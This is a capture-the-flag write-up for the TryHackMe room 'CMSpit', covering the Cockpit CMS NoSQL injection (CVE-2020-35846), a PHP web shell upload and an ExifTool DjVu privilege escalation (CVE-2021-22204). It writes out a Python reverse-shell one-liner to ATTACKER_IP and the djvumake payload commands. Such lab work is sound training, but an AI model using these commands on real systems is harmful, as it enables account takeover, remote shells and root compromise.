# CMSpit

* * *

# Lab Info

| Detail | Info |
| --- | --- |
| Room | CMSpit |
| Platform | TryHackMe |
| Difficulty | Medium |
| Type | CTF / CMS NoSQL Injection + ExifTool RCE Privilege Escalation |
| Knowledge Required | Web, NoSQL Injection, MongoDB, Linux, Burp Suite |

## Tools Used

*   Nmap — Port scanning
    
*   Burp Suite — Intercepting and replaying the auth requests
    
*   php-reverse-shell.php (pentestmonkey) — Foothold via the CMS's file manager
    
*   LinPEAS — Enumeration on the box
    
*   mongo shell — Reading a locally unauthenticated MongoDB instance
    
*   djvumake / exiftool — Building and triggering the DjVu-based RCE for root
    

## First Impressions

Two ports, one CMS, one very recent CVE at every stage — this box is basically a guided tour through two real 2020–2021 disclosures back to back: a NoSQL injection in Cockpit CMS's auth flow, and the ExifTool DjVu RCE that made the rounds not long after. Nothing here is brute-forced; both the initial access and the privesc are "read the CVE writeup, reproduce it" exercises, which makes this a genuinely good room for practicing how to take a public advisory and turn it into working exploitation steps.

## Recon

```plaintext
nmap -sC -sV -p- <ip>
```

```plaintext
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
```

No creds for SSH yet, so port 80 is the only real option. Browsing straight to it redirects to a login portal:

```plaintext
http://<ip>/auth/login?to=/
```

## Identifying the CMS

Page source on the login screen gives away both the product and the version — Cockpit CMS assets are loaded with a `ver=` parameter appended to their CSS/JS paths (`0.11.1` in this case). That version number is the whole ballgame: Cockpit 0.11.1 has a well-documented NoSQL injection, **CVE-2020-35846**, in its authentication endpoints.

## NoSQL Injection — Enumerating Users and Resetting the Admin Password

Intercepting the login attempt in Burp shows something unusual for a login form: a request carrying what looks like a CSRF token, hit against `/auth/check`. That endpoint is exactly the one the CVE writeup (PT Security's breakdown of the bug, linked below) targets — it's meant to just validate a login attempt, but it leaks whether a username exists at all through subtly different JSON responses, which is the actual injection point.

```plaintext
https://swarm.ptsecurity.com/rce-cockpit-cms/
```

Following that writeup's method end to end:

1.  `/auth/check` — confirms valid usernames exist on the system (leaked user info from the backend).
    
2.  `/auth/requestreset` — generates a password reset token for a chosen username (`admin` works, since it's a safe first guess and the endpoint doesn't require knowing the password to request a reset).
    
3.  `/auth/resetpassword` / `/auth/newpassword` — these endpoints, meant only to consume a valid reset token, can instead be abused to **extract** account data outright: username, password hash, API key, and the reset token itself, all in one response.
    
4.  With the token and account data in hand, submit a new password through the same reset flow.
    

End result: a full account takeover on `admin` with a password of our choosing, no original password ever needed. Logged in clean afterward at `/auth/login`.

## RCE via the Finder — Uploading a Web Shell

Cockpit's admin dashboard has a **Finder** module — click the Cockpit logo top-left to get there. It supports creating and uploading files directly, and there's no restriction stopping a `.php` file from being saved and served back.

Created a basic PHP web shell through the Finder, saved it, and confirmed code execution with a plain `id` through it. Once execution was confirmed, swapped to a proper reverse shell one-liner instead:

```plaintext
http://<ip>/webshell.php?cmd=python3+-c+'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
```

Shell caught — **www-data**.

```plaintext
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

(Ctrl+Z, `stty raw -echo; fg`, then `reset` and `export TERM=xterm` for a clean interactive terminal.)

## User — An Unauthenticated Local MongoDB

Cockpit CMS backs onto MongoDB, and it's common for that database to have no local auth configured at all — worth checking on any box running one of these headless CMS platforms.

```plaintext
mongo
```

Connects with zero credentials. From there:

```plaintext
show dbs
use sudousersbak
show collections
db.user.find()
```

That backup-looking database has a `user` collection sitting there with a full account — including credentials for a real system user, **stux**.

```plaintext
ssh stux@<ip>
```

Logs in clean with the recovered password. `user.txt` grabbed from stux's home directory.

## Root — ExifTool DjVu RCE (CVE-2021-22204)

```plaintext
sudo -l
```

```plaintext
(root) NOPASSWD: /usr/local/bin/exiftool
```

stux can run ExifTool as root, no password. ExifTool had a serious RCE disclosed not long before this room went live — **CVE-2021-22204** — triggered through a maliciously crafted DjVu file. DjVu images carry an annotation/metadata block that ExifTool parses, and a crafted payload inside that block gets executed as Perl code during parsing.

Building the malicious file uses `djvumake` to assemble a DjVu image around a payload chunk containing an embedded command:

```plaintext
nano payload
# (metadata "\c${system('/bin/bash -p')};")

bzz payload payload.bzz
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
```

(Swapping the embedded command for a reverse-shell one-liner works just as well if you'd rather catch a listener than rely on an interactive `-p` shell.)

With a netcat listener up:

```plaintext
nc -lvnp 9999
```

Trigger the sudo rule against the crafted file:

```plaintext
sudo /usr/local/bin/exiftool exploit.djvu
```

ExifTool parses the metadata block, hits the embedded command, and executes it as **root**. Shell (or callback) lands as root — `root.txt` grabbed from `/root`.

## Flag Summary

| Flag | Method |
| --- | --- |
| CMS identification | Cockpit, version leaked via `ver=` parameter in page source |
| Web flag | Found through the Finder module in the admin dashboard |
| Database flag | `db.user.find()` inside the unauthenticated local MongoDB instance |
| user.txt | SSH as `stux` using credentials recovered from MongoDB |
| root.txt | ExifTool DjVu RCE (CVE-2021-22204) via the `NOPASSWD` sudo rule |

## Key Takeaways

1.  **Version disclosure through asset query strings is an easy, often-overlooked enumeration win.** The `ver=` parameter on CSS/JS files gave up the exact Cockpit version without needing a single exploit attempt — always worth checking page source for versioned asset URLs before reaching for a scanner.
    
2.  **Endpoints meant only for one narrow purpose can leak far more than intended.** `/auth/check` was supposed to just validate a login attempt; instead it doubled as a username oracle. `/auth/resetpassword` and `/auth/newpassword` were meant to consume a reset token, but could be abused to dump full account records instead. Authentication flows need to fail closed on every branch, not just the happy path.
    
3.  **A publicly documented CVE writeup is often a direct, reproducible recipe — reading it carefully beats trying to reinvent the exploit.** Both the Cockpit NoSQL injection and the ExifTool DjVu RCE here were "follow the disclosure's steps" exercises rather than novel research.
    
4.  **NoSQL-backed CMS platforms are worth checking for unauthenticated local database access as a matter of course.** MongoDB with no auth configured locally is common enough that it should be an early enumeration step on any box using it, not an afterthought after LinPEAS runs.
    
5.  `sudo` **rules on utilities that parse untrusted file formats (ExifTool, ImageMagick, and similar) deserve extra scrutiny.** These tools have a long history of metadata-parsing RCEs — a `NOPASSWD` rule on one of them is close to a guaranteed root path if a matching CVE exists for the installed version.
    

Day 15 of 30 ✅ — See You Tomorrow
